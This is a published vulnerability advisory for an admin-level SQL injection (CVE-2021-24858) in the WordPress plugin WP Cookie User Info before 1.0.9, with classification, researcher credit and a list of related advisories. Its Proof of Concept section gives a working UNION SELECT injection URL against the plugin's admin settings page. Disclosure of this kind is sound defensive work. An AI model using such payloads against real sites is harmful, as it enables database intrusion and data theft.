WordPress Plugin Vulnerabilities

WP Cookie User Info < 1.0.9 - Admin+ SQL Injection

Description

The plugin does not sanitise or escape the id GET parameter before using it in a SQL statement, when retrieving the setting to edit in the admin dashboard, leading to an authenticated SQL Injection

Proof of Concept

https://example.com/wp-admin/admin.php?page=wpcui-manage-settings&action=edit&id=-7418+UNION+ALL+SELECT+NULL%2Ccurrent_user()%2Ccurrent_user()%2CNULL%2CNULL%2CNULL

Affects Plugins

Plugin icon
wp-cookie-user-info
Fixed in 1.0.9

References

CVE
CVE-2021-24858

Classification

Type
SQLI
OWASP top 10
A1: Injection
CWE
CWE-89
CVSS
6.8 (medium)

Miscellaneous

Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes
WPVDB ID
9bd1c040-09cc-4c2d-88c9-8406a653a48b

Timeline

Publicly Published
2021-12-27 (about 2 years ago)
Added
2021-12-27 (about 2 years ago)
Last Updated
2022-04-16 (about 2 years ago)

Other

Published
Title
Published
2023-05-10
Title
WP Replicate Post < 4.1 - Contributor+ SQL Injection
Published
2011-10-06
Title
WP Postratings < 1.62 - Authenticated SQL Injection
Published
2014-08-01
Title
Media Library Categories <= 1.0.6 - SQL Injection
Published
2014-08-01
Title
NextGEN Smooth Gallery - Blind SQL Injection
Published
2022-02-28
Title
Infographic Maker - iList < 4.3.8 - Unauthenticated SQL Injection